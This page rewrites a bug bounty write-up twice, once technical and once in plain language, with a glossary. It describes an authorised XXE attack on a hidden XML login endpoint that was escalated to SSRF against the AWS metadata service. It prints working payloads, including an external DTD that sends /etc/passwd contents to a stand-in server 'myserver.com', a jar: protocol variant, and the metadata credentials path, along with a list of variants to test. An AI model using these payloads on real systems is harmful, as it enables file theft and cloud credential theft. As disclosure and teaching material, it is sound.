XXE To AWS Metadata Disclosure
An XML external entity (XXE) vulnerability in a login endpoint allowed an attacker to read local files and then query the AWS metadata service to obtain IAM credentials, including root keys. The attacker could have used these keys to access the cloud environment.
I recently found a critical vulnerability on a private program on HackerOne that allowed me to get their Amazon Web Services root keys. Because of this, the vulnerability was rated as a 10.0 critical, the highest possible.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of a critical vulnerability found on a private HackerOne program, which the researcher describes as allowing retrieval of the program's Amazon Web Services root keys. The report was rated 10.0 critical, the highest possible. The company and the report itself are not disclosed.
The researcher had been away from hacking for several months because of a family emergency. On returning, they picked a recently launched private program from their invites, essentially at random. The scope was rather small, but they decided to look through it anyway to get back into practice.
The vulnerable feature was a login function on one subdomain. It was not linked or presented anywhere in the application, and its path was obscure enough that it was not picked up by the researcher's wordlists. The login accepted an XML POST body and, on success, returned a token that would have allowed file uploads.
Setup
The only tooling the report names is ffuf, run with a custom wordlist against the few subdomains in scope. No versions are given.
The key precondition was a leak: a GitHub repository containing testing credentials and a login payload for this subdomain. Without that leak the researcher says they would never have known the login function existed. With the test credentials they could log in and obtain the upload token.
Finding it
Running the subdomains through ffuf produced a set of results. One subdomain initially presented a blank page, but had an interesting page when the researcher went to //foo, with two backslashes. Within 10 minutes they had found reflected XSS there: the URL was reflected in a verbose error page, and a payload in the query parameter executed. That finding later turned out to be a duplicate.
A couple of days later the researcher returned to dig deeper on the same subdomain. The GitHub repository with testing credentials and a login payload gave them the entry point. After logging in with the test credentials, they received a token that would have allowed file uploads. Because the POST payload was XML, they decided to test for XXE with an external DTD.
Exploitation
Step 1: confirm that external entities are resolved
The only place a DTD could be called was the password field; the username was defined by the URL path. The researcher sent a basic POST payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [<!ELEMENT passwd ANY>
<!ENTITY xxe SYSTEM "http://webhook.site/foo" >]>
...
<passwd>&xxe;</passwd>
The external entity xxe points at a webhook.site URL, and &xxe; in the passwd element forces the parser to fetch it. The researcher got a hit on the webhook instance, confirming that DTD processing was enabled. Querying for a file on the web server at this stage did not work.
Step 2: confirm that an external DTD is fetched
The next step was to retrieve an external DTD. The researcher changed http://webhook.site/foo to a dummy self-hosted DTD and observed the web application fetching that file. This is the precondition for the classic out-of-band XXE file exfiltration pattern, where the external DTD defines the entities that carry the file contents out.
Step 3: attempt out-of-band exfiltration of /etc/passwd
With external DTD fetching confirmed, the researcher tried to read a file on the application server and send its contents to their own server:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [!ENTITY % file SYSTEM "file:///etc/passwd"> [<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd"> %xxe; ]>
...
<passwd>&send;</passwd>
The parameter entity file holds the contents of /etc/passwd, the parameter entity xxe pulls in the attacker-hosted DTD, and &send; is the entity that DTD is expected to define. The self-hosted DTD, saved as pwn.dtd, was:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>"> %all;
This builds a send entity whose system identifier is a URL containing the value of %file, so that referencing &send; makes the parser request that URL with the file contents in the query string.
It did not work as expected. The application did fetch the DTD, but the researcher never received the subsequent request to ?data; instead the application returned an error message. The special characters in /etc/passwd broke the GET request.
Step 4: read a single-line file
To work around the special characters, the researcher checked their own Linux system for single-line files without special characters and settled on /etc/hostname. Substituting it for /etc/passwd in the payload worked: the contents of /etc/hostname were read. The impact was still unsatisfying, so the researcher tried exfiltrating through FTP and directly in the application response. Neither worked, and the vulnerability was reported to HackerOne as a high impact XXE DTD Local File Inclusion.
Step 5: the jar: protocol trick
The next day the researcher kept thinking about how to exfiltrate arbitrary files. The HackerOne triager assigned to the report wanted another file exfiltrated too, though a single-line file was acceptable. The researcher spoke to Dee-see, who sent a link to a technique using the jar: protocol to extract files:
https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf
Adapting the DTD file from that link, the researcher tried /etc/passwd again:
<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;
This worked, but not as an out-of-band LFI: the whole of /etc/passwd could be read directly in the server response. The report was updated and triaged as high. The researcher notes that the jar: protocol is actually used to read files inside a .zip or .jar file, and links this for more information. Somehow, in this application, it broke the web application in a way that allowed reading the contents of any file.
Step 6: port scanning and permission to escalate
Still not satisfied, the researcher tried scanning the server for open ports, thinking they might get SSH keys and log in. Only ports 80 and 443 were open. They then asked HackerOne for permission to dig around the server to try to escalate, and permission was granted.
Step 7: directory listing and the /proc/self/environ dead end
By supplying file:/// in the file entity, the researcher could read the contents of a directory. They could not read /proc/self/environ, which might have stored the AWS metadata; again a special character broke the flow, even using jar:.
Step 8: SSRF to the AWS metadata endpoint
The next idea was to turn the LFI into SSRF and query the typical AWS metadata endpoint:
http://[redacted]/latest/meta-data/iam/security-credentials/IAM_USER_ROLE
The role name was unknown, but requesting the parent path:
http://[redacted]/latest/meta-data/iam/security-credentials/
made the web application disclose the available credentials in an error message. This was reported to the program, which changed the severity to 10.0 critical. The researcher was later awarded a 2000 USD bounty, their highest at the time.
Root cause
The XML parser on the login endpoint resolved external entities and external DTDs, and in some cases the fetched data surfaced in application error messages. That combination turned a blind out-of-band primitive into in-band disclosure: the jar: variant and the metadata request both surfaced data in application errors rather than in a separate channel. The report does not describe the parser or its configuration, so the specific library and settings are not known.
Why the existing defences did not stop it is not stated. The login function was not presented anywhere and its path was obscure, which is why the researcher needed the GitHub leak to find it. The endpoint was hidden rather than linked, which is why the GitHub leak was needed to find it.
Impact
Under the conditions described, an attacker with the leaked test credentials could log in, obtain the upload token, and use the XML password field to read files on the server, list directories, and make the server issue requests to internal addresses. In this case that reached the AWS instance metadata service and disclosed the IAM role credentials, which the researcher describes as the AWS root keys. The program rated it 10.0 critical and paid 2000 USD.
The report does not give the exact contents returned by the metadata endpoint, and the company and report remain undisclosed.
Fix
The measures that would address the root cause are to disable external entity and external DTD resolution in the XML parser, or to stop parsing user-supplied XML for this login flow altogether, and to stop returning parser or fetch errors that contain fetched content. Restricting the server's ability to reach the instance metadata service, for example by requiring IMDSv2 or blocking link-local addresses from the application, would limit the SSRF path.
Variants to test
- Hidden XML endpoints: look for login, upload or API paths that accept XML but are not linked in the UI. A positive result is any endpoint that parses a body containing a
DOCTYPEand resolves an external entity to a host you control. - External DTD fetch: point an entity at a self-hosted DTD and watch your logs. A hit confirms out-of-band exfiltration is possible.
- Single-line file read: substitute a file without special characters, such as
/etc/hostname, into the exfiltration DTD. A positive result is the file contents arriving at your server. jar:protocol: use thejar:%file;/yourserver!/form in the DTD. A positive result is the file contents appearing directly in the application response.- Directory listing: supply
file:///as the entity. A positive result is a directory listing in the response. - Metadata SSRF: request
http://[redacted]/latest/meta-data/iam/security-credentials/through the entity. A positive result is role names disclosed in an error message, which can then be requested individually. - Port scanning: vary the host and port in the entity and compare responses. A positive result is a difference between open and closed ports, as seen here with only 80 and 443 open.
What happened, in plain words
A security researcher found a serious flaw in a website run by a company that had invited people to test its systems through a platform called HackerOne. The flaw let the researcher read files stored on the company's server and, in the end, obtain the company's Amazon Web Services (AWS) keys. AWS is a service that rents out computers and storage over the internet; its keys are like the master password for the company's rented computers. Because of this, the company rated the problem 10.0, the worst possible score. The company and the detailed report are not public.
The researcher had not done any hacking for several months because of a family emergency. When they got home they wanted to start again, so they opened their list of private invitations to test companies and picked one almost at random. The company had only a small set of things in scope (the parts of its systems that testers were allowed to touch), but the researcher decided to look anyway, just to get back into practice.
The interesting part was a login page on one of the company's subdomains. A subdomain is a smaller address under a main one, like shop.example.com under example.com. This login page was not linked from anywhere on the site, and its address was unusual enough that the researcher's automated guessing did not find it. The login accepted data in a format called XML and, when it worked, handed back a token that would have allowed uploading files.
Setup
The only tool the report names is ffuf, run with a custom wordlist against the few subdomains in scope. ffuf is a program that tries a long list of possible names against a website very quickly, to see which ones exist. A wordlist is simply a text file with one candidate name per line. The report gives no versions.
The crucial precondition was a leak: a GitHub repository (a public code-sharing site) that contained testing credentials and a login payload for this subdomain. Credentials are a username and password. A payload here means the exact data the login page expects to receive. Without that leak, the researcher says they would never have known the login function existed. With the test credentials they could log in and get the upload token.
Finding it
Running the subdomains through ffuf produced a set of results. One subdomain first showed a blank page, but had an interesting page when the researcher went to //foo, with two backslashes. Within 10 minutes they had found reflected XSS there: the URL was reflected in a verbose error page, and a payload in the query parameter executed. That finding later turned out to be a duplicate, meaning someone else had already reported it.
Two terms need unpacking. XSS, short for cross-site scripting, is when a website takes something a visitor typed and puts it back into the page as if it were part of the site's own instructions, so the visitor's browser runs it. "Reflected" means the input bounces straight back in the response. A query parameter is the part of a web address after a question mark, like ?name=value, used to pass small pieces of information to the page. A verbose error page is one that shows technical details instead of a friendly message.
A couple of days later the researcher returned to dig deeper on the same subdomain. The GitHub repository with testing credentials and a login payload gave them the entry point. After logging in with the test credentials, they received a token that would have allowed file uploads. A token is a short string a server gives you after you log in, so you can prove who you are on later requests without sending your password again. Because the POST payload was XML, they decided to test for XXE with an external DTD.
POST is the way a browser or program sends data to a server, as opposed to GET, which asks for a page. XML is a text format for structured data, built from tags in angle brackets, a bit like a form with labelled boxes. XXE stands for XML External Entity: XML has a feature where a document can declare a named placeholder, called an entity, and tell the parser to fill it with something from outside the document, such as a file or a web address. If the parser obeys that instruction, an attacker can make the server fetch things it should not. A DTD, or Document Type Definition, is the part of an XML document that declares those entities. An external DTD is a DTD stored in a separate file that the parser is told to download.
Exploitation
Step 1: confirm that external entities are resolved
The only place a DTD could be called was the password field; the username was defined by the URL path. In other words, the login form had two inputs, and only the password box let the researcher inject XML declarations. The researcher sent a basic POST payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [<!ELEMENT passwd ANY>
<!ENTITY xxe SYSTEM "http://webhook.site/foo" >]>
...
<passwd>&xxe;</passwd>
Line by line:
<?xml version="1.0" encoding="ISO-8859-1"?>announces that this is an XML document, version 1.0, using a particular character encoding. Think of it as the label on the envelope saying what is inside.<!DOCTYPE passwd [starts the DTD for a document whose main element is calledpasswd(password).<!ELEMENT passwd ANY>says thepasswdelement may contain anything. It is there to keep the parser happy.<!ENTITY xxe SYSTEM "http://webhook.site/foo" >declares an entity namedxxewhose content must be fetched from the given web address.SYSTEMmeans "get it from this location". webhook.site is a free service that records any request made to a unique address, so the researcher can see whether the server called out....stands for the rest of the original login data, left as it was.<passwd>&xxe;</passwd>puts the entity inside the password element. When the parser reaches&xxe;it must replace it with whatever it fetched.
The external entity xxe points at a webhook.site URL, and &xxe; in the passwd element forces the parser to fetch it. The researcher got a hit on the webhook instance, confirming that DTD processing was enabled. In plain terms: the server made a request to the researcher's address, proving it was willing to go and fetch things on command. Querying for a file on the web server at this stage did not work.
Step 2: confirm that an external DTD is fetched
The next step was to retrieve an external DTD. The researcher changed http://webhook.site/foo to a dummy self-hosted DTD and observed the web application fetching that file. A dummy file is a harmless placeholder. Self-hosted means the researcher ran a small web server of their own to serve it. This is the precondition for the classic out-of-band XXE file exfiltration pattern, where the external DTD defines the entities that carry the file contents out. Out-of-band means the stolen data travels through a separate channel, here the researcher's own server, rather than appearing in the normal response.
Step 3: attempt out-of-band exfiltration of /etc/passwd
With external DTD fetching confirmed, the researcher tried to read a file on the application server and send its contents to their own server:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [!ENTITY % file SYSTEM "file:///etc/passwd"> [<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd"> %xxe; ]>
...
<passwd>&send;</passwd>
Line by line:
- The first line again declares an XML document.
<!DOCTYPE passwd [opens the DTD.<!ENTITY % file SYSTEM "file:///etc/passwd">declares a parameter entity namedfile. A parameter entity, marked with%, is an entity used inside the DTD itself rather than in the document body.file:///etc/passwdis a local file address:/etc/passwdis a standard file on Linux systems that lists user accounts.<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd">declares another parameter entity,xxe, which points at a DTD file the researcher hosts.%xxe;uses that entity, so the parser downloads the researcher's DTD and reads it as part of the document's rules....is the rest of the login data.<passwd>&send;</passwd>uses an entity calledsend, which the downloaded DTD is expected to define.
The parameter entity file holds the contents of /etc/passwd, the parameter entity xxe pulls in the attacker-hosted DTD, and &send; is the entity that DTD is expected to define. The self-hosted DTD, saved as pwn.dtd, was:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>"> %all;
Line by line:
<!ENTITY % all "...">declares a parameter entity calledallwhose value is a piece of text, the part in double quotes.- That text is itself an entity declaration:
<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>. It definessendas an entity that fetches the given address. - Inside that address,
%file;is replaced by the contents of the file entity, so the file's text ends up in the query string of the URL. %all;at the end uses theallentity, which causes the inner declaration to be created.
This builds a send entity whose system identifier is a URL containing the value of %file, so that referencing &send; makes the parser request that URL with the file contents in the query string. In everyday terms: the researcher's DTD tells the server "now go to my address and put the file's contents in the address itself", and the researcher's server records whatever arrives.
It did not work as expected. The application did fetch the DTD, but the researcher never received the subsequent request to ?data; instead the application returned an error message. The special characters in /etc/passwd broke the GET request. A GET request is the ordinary kind used to ask for a page, and its address has rules about which characters are allowed; characters such as colons or slashes inside the file contents made the address invalid.
Step 4: read a single-line file
To work around the special characters, the researcher checked their own Linux system for single-line files without special characters and settled on /etc/hostname. That file holds the computer's name, a short piece of text with nothing awkward in it. Substituting it for /etc/passwd in the payload worked: the contents of /etc/hostname were read. The impact was still unsatisfying, so the researcher tried exfiltrating through FTP and directly in the application response. FTP is an older protocol for transferring files between computers. Neither worked, and the vulnerability was reported to HackerOne as a high impact XXE DTD Local File Inclusion. Local File Inclusion, or LFI, means making the server include a file from its own disk in something it returns.
Step 5: the jar: protocol trick
The next day the researcher kept thinking about how to exfiltrate arbitrary files. The HackerOne triager assigned to the report wanted another file exfiltrated too, though a single-line file was acceptable. A triager is the person at the platform who first checks a report and decides how serious it is. The researcher spoke to Dee-see, who sent a link to a technique using the jar: protocol to extract files:
https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf
A protocol is the set of rules two computers use to talk; http, file and jar are examples, each with its own prefix in an address. Adapting the DTD file from that link, the researcher tried /etc/passwd again:
<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;
Line by line:
- As before,
<!ENTITY % all "...">declares a parameter entity whose value is a piece of text. - The text defines
sendas an entity that fetches the addressjar:%file;/myserver.com!/. %file;is replaced by the file contents, so the address starts withjar:followed by the file's text, then the researcher's host name and!/.%all;creates the inner declaration.
This worked, but not as an out-of-band LFI: the whole of /etc/passwd could be read directly in the server response. The report was updated and triaged as high. The researcher notes that the jar: protocol is actually used to read files inside a .zip or .jar file, and links this for more information. A .jar file is a package used by the Java programming language, and a .zip is a compressed archive. Somehow, in this application, it broke the web application in a way that allowed reading the contents of any file.
Step 6: port scanning and permission to escalate
Still not satisfied, the researcher tried scanning the server for open ports, thinking they might get SSH keys and log in. A port is a numbered doorway on a computer; different services listen on different numbers, and a scan checks which doorways answer. SSH is a way to log in to a remote computer and run commands on it, and SSH keys are the credentials for that. Only ports 80 and 443 were open. Those are the standard doorways for ordinary web traffic, so nothing else was exposed. They then asked HackerOne for permission to dig around the server to try to escalate, and permission was granted. Escalate means to turn a smaller finding into a bigger one.
Step 7: directory listing and the /proc/self/environ dead end
By supplying file:/// in the file entity, the researcher could read the contents of a directory. A directory is a folder, and listing one shows the files inside it. They could not read /proc/self/environ, which might have stored the AWS metadata; again a special character broke the flow, even using jar:. /proc/self/environ is a special file on Linux that holds the environment variables of the running program, which are named settings a program inherits when it starts.
Step 8: SSRF to the AWS metadata endpoint
The next idea was to turn the LFI into SSRF and query the typical AWS metadata endpoint:
http://[redacted]/latest/meta-data/iam/security-credentials/IAM_USER_ROLE
Line by line:
http://is the ordinary web protocol.[redacted]is a special address that, on cloud computers, is answered by the cloud provider itself rather than by another machine. It is a fixed internal address used for a service called the instance metadata service./latest/meta-data/is the path for information about the running machine./iam/security-credentials/is the path for the login credentials attached to the machine.IAM_USER_ROLEis a placeholder for the name of the role, which the researcher did not know.
SSRF, or Server Side Request Forgery, means making the server send a request on your behalf, to an address you could not reach yourself. The role name was unknown, but requesting the parent path:
http://[redacted]/latest/meta-data/iam/security-credentials/
made the web application disclose the available credentials in an error message. In other words, asking for the folder rather than a specific file made the server complain, and the complaint listed what was in the folder. This was reported to the program, which changed the severity to 10.0 critical. The researcher was later awarded a 2000 USD bounty, their highest at the time. A bounty is the money a company pays for a valid report.
Root cause
The XML parser on the login endpoint resolved external entities and external DTDs, and in some cases the fetched data surfaced in application error messages. A parser is the piece of software that reads XML and turns it into something the program can use. That combination turned a blind out-of-band primitive into in-band disclosure: the jar: variant and the metadata request both surfaced data in application errors rather than in a separate channel. In-band means the data comes back in the normal answer to the request. The report does not describe the parser or its configuration, so the specific library and settings are not known.
Why the existing defences did not stop it is not stated. The login function was not presented anywhere and its path was obscure, which is why the researcher needed the GitHub leak to find it. The endpoint was not linked anywhere and its path was obscure, which is why the researcher needed the GitHub leak to find it.
Impact
Under the conditions described, an attacker with the leaked test credentials could log in, obtain the upload token, and use the XML password field to read files on the server, list directories, and make the server issue requests to internal addresses. In this case that reached the AWS instance metadata service and disclosed the IAM role credentials, which the researcher describes as the AWS root keys. IAM stands for Identity and Access Management, the part of AWS that controls who may do what. The program rated it 10.0 critical and paid 2000 USD.
The report does not give the exact contents returned by the metadata endpoint, and the company and report remain undisclosed.
Fix
The measures that would address the root cause are to disable external entity and external DTD resolution in the XML parser, or to stop parsing user-supplied XML for this login flow altogether, and to stop returning parser or fetch errors that contain fetched content. Restricting the server's ability to reach the instance metadata service, for example by requiring IMDSv2 or blocking link-local addresses from the application, would limit the SSRF path. IMDSv2 is a newer version of the metadata service that requires a special first request before it answers, which makes this kind of trick harder. Link-local addresses are the range that includes [redacted].
Variants to test
- Hidden XML endpoints: look for login, upload or API paths that accept XML but are not linked in the UI. An API is a way for programs to talk to each other, usually through addresses that return data rather than web pages. A positive result is any endpoint that parses a body containing a
DOCTYPEand resolves an external entity to a host you control. - External DTD fetch: point an entity at a self-hosted DTD and watch your logs. A hit confirms out-of-band exfiltration is possible.
- Single-line file read: substitute a file without special characters, such as
/etc/hostname, into the exfiltration DTD. A positive result is the file contents arriving at your server. jar:protocol: use thejar:%file;/yourserver!/form in the DTD. A positive result is the file contents appearing directly in the application response.- Directory listing: supply
file:///as the entity. A positive result is a directory listing in the response. - Metadata SSRF: request
http://[redacted]/latest/meta-data/iam/security-credentials/through the entity. A positive result is role names disclosed in an error message, which can then be requested individually. - Port scanning: vary the host and port in the entity and compare responses. A positive result is a difference between open and closed ports, as seen here with only 80 and 443 open.
Glossary
- API: a way for one program to talk to another, usually through web addresses that return data instead of pages.
- AWS: Amazon Web Services, a service that rents out computers and storage over the internet.
- Bounty: money a company pays for a valid security report.
- Credentials: a username and password, or similar proof of identity.
- Cross-site scripting (XSS): when a site puts visitor input back into the page as if it were the site's own instructions, so the browser runs it.
- Directory: a folder on a computer; listing one shows the files inside.
- DTD: Document Type Definition, the part of an XML document that declares entities and rules.
- Entity: a named placeholder in XML that the parser replaces with something, such as a file or a web address.
- Escalate: to turn a smaller finding into a bigger one.
- External DTD: a DTD stored in a separate file that the parser is told to download.
- ffuf: a program that tries a long list of possible names against a website quickly to see which exist.
- FTP: an older protocol for transferring files between computers.
- GET: the ordinary kind of web request used to ask for a page.
- HackerOne: a platform where companies invite researchers to test their systems and receive reports.
- IAM: Identity and Access Management, the part of AWS that controls who may do what.
- IMDSv2: a newer version of the AWS metadata service that requires a special first request before answering.
- In-band: data that comes back in the normal answer to a request.
- Instance metadata service: a fixed internal address on cloud computers that answers with information about the machine and its credentials.
jar:protocol: an address prefix normally used to read files inside a.zipor.jararchive.- Link-local address: the address range that includes
[redacted]. - Local File Inclusion (LFI): making a server include a file from its own disk in something it returns.
- Out-of-band: data that travels through a separate channel, such as a server you control.
- Parameter entity: an XML entity used inside the DTD itself rather than in the document body, marked with
%. - Parser: the software that reads XML and turns it into something the program can use.
- Payload: the exact data sent to a server to trigger a behaviour.
- Port: a numbered doorway on a computer; different services listen on different numbers.
- POST: the way a browser or program sends data to a server.
- Protocol: the set of rules two computers use to talk, such as
http,fileorjar. - Query parameter: the part of a web address after a question mark, used to pass small pieces of information.
- Reflected: input that bounces straight back in the response.
- Scope: the parts of its systems a company allows testers to touch.
- Self-hosted: running a small web server of your own to serve a file.
- SSH: a way to log in to a remote computer and run commands on it.
- SSRF: Server Side Request Forgery, making a server send a request on your behalf to an address you could not reach yourself.
- Subdomain: a smaller address under a main one, like
shop.example.comunderexample.com. - Token: a short string a server gives you after login so you can prove who you are on later requests.
- Triager: the person at a bug bounty platform who first checks a report and decides how serious it is.
- Verbose error page: an error page that shows technical details instead of a friendly message.
- Wordlist: a text file with one candidate name per line, used by tools like
ffuf. - XML: a text format for structured data, built from tags in angle brackets.
- XXE: XML External Entity, a flaw where an XML parser obeys instructions to fetch external files or addresses.